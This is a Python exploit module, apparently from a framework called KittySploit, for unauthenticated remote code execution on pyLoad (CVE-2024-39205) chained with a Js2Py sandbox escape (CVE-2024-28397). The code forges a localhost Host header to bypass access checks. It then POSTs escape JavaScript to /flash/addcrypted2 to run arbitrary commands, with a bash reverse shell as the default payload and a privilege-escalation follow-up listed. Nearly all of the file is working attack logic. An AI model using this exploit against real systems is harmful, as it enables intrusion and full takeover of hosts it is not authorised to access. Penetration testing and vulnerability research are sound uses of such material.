Pyload unauthenticated RCE via Js2Py sandbox escape

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import random
import time

import requests

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.js2py_pyload import (
    build_js2py_cve_2024_28397_payload,
    flash_addcrypted2_path,
    pyload_addcrypted_expected_failure,
    random_crypted_b64,
)


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Pyload unauthenticated RCE via Js2Py sandbox escape",
        "description": (
            "CVE-2024-39205: pyLoad ≤ 0.5.0b3.dev85 exposes Js2Py evaluation on POST "
            "/flash/addcrypted2. Localhost-only checks are bypassed by sending Host: 127.0.0.1:<port>. "
            "CVE-2024-28397: Js2Py ≤ 0.74 sandbox escape via Object.getOwnPropertyNames to reach "
            "subprocess.Popen."
        ),
        "author": [
            "Marven11",
            "Spencer McIntyre",
            "jheysel-r7",
            "Ali Sünbül (xeloxa)",
            "KittySploit Team",
        ],
        "cve": ["CVE-2024-39205", "CVE-2024-28397"],
        "references": [
            "https://github.com/Marven11/CVE-2024-39205-Pyload-RCE",
            "https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape",
            "https://github.com/advisories/GHSA-w7hq-f2pj-c53g",
            "https://github.com/PiotrDabkowski/Js2Py",
        ],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "category": PayloadCategory.SINGLE,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "type": PayloadType.CMD,
            "platform": [Platform.UNIX, Platform.LINUX],
            "category": PayloadCategory.SINGLE,
        },
        "tags": ["pyload", "js2py", "rce", "cve-2024-39205", "cve-2024-28397"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    port = OptPort(9666, "Pyload HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    command = OptString("", "Command to execute (overrides generated payload string)", required=False)
    host_header = OptString(
        "127.0.0.1",
        "Host header value for localhost bypass (without port; port is appended)",
        required=False,
        advanced=True,
    )
    exec_timeout = OptInteger(
        120,
        "HTTP timeout (seconds) for command execution request",
        required=False,
        advanced=True,
    )

    def _host_bypass_header(self) -> dict:
        hp = str(self.host_header or "127.0.0.1").strip() or "127.0.0.1"
        port = int(self.port)
        return {"Host": f"{hp}:{port}"}

    def _normalize_command(self) -> str:
        if self.command and str(self.command).strip():
            return str(self.command).strip()
        p = self.payload
        if isinstance(p, bytes):
            return p.decode("utf-8", errors="ignore")
        return str(p or "").strip()

    def _post_addcrypted2(self, command: str, timeout: float):
        """
        POST /flash/addcrypted2 with Js2Py escape JS. Outcomes matching Metasploit:
        read timeout or HTTP 500 with Pyload error page => command likely ran.
        """
        js = build_js2py_cve_2024_28397_payload(command)
        headers = self._host_bypass_header()
        post_data = {"crypted": random_crypted_b64(), "jk": js}
        path = flash_addcrypted2_path(str(self.path or "/"))

        try:
            resp = self.http_request(
                method="POST",
                path=path,
                data=post_data,
                headers=headers,
                allow_redirects=False,
                timeout=timeout,
            )
        except requests.exceptions.Timeout:
            print_info("HTTP timeout after sending payload (server may have executed the command)")
            return True

        if resp is None:
            return True

        if pyload_addcrypted_expected_failure(resp.text, resp.status_code):
            return True

        print_error(f"Unexpected HTTP {resp.status_code}; body snippet: {(resp.text or '')[:300]!r}")
        return False

    def check(self):
        sleep_time = random.randint(5, 10)
        start = time.monotonic()
        try:
            ok = self._post_addcrypted2(f"sleep {sleep_time}", timeout=float(sleep_time + 25))
        except requests.exceptions.RequestException as e:
            return {
                "vulnerable": False,
                "reason": f"Request failed: {e}",
                "confidence": "low",
            }
        elapsed = time.monotonic() - start

        if not ok:
            return {
                "vulnerable": False,
                "reason": f"Unexpected HTTP behaviour (elapsed {elapsed:.1f}s)",
                "confidence": "medium",
            }
        if elapsed < sleep_time - 0.75:
            return {
                "vulnerable": False,
                "reason": f"Response too fast ({elapsed:.1f}s vs sleep {sleep_time}s)",
                "confidence": "medium",
            }
        return {
            "vulnerable": True,
            "reason": f"Timed sleep ({sleep_time}s) reflected in ~{elapsed:.1f}s response (CVE-2024-39205 / CVE-2024-28397)",
            "confidence": "high",
        }

    def run(self):
        cmd = self._normalize_command()
        if not cmd:
            print_error("Set COMMAND or a cmd payload")
            return False

        print_status(f"POST {flash_addcrypted2_path(str(self.path or '/'))} with Host bypass header")
        print_info(f"Command: {cmd[:200]}{'...' if len(cmd) > 200 else ''}")

        timeout = float(max(int(self.exec_timeout or 120), 15))
        try:
            if self._post_addcrypted2(cmd, timeout=timeout):
                print_success("Payload accepted (timeout or expected Pyload error page)")
                self.vulnerable()
                return True
        except requests.exceptions.RequestException as e:
            print_error(f"Request failed: {e}")
            return False

        return False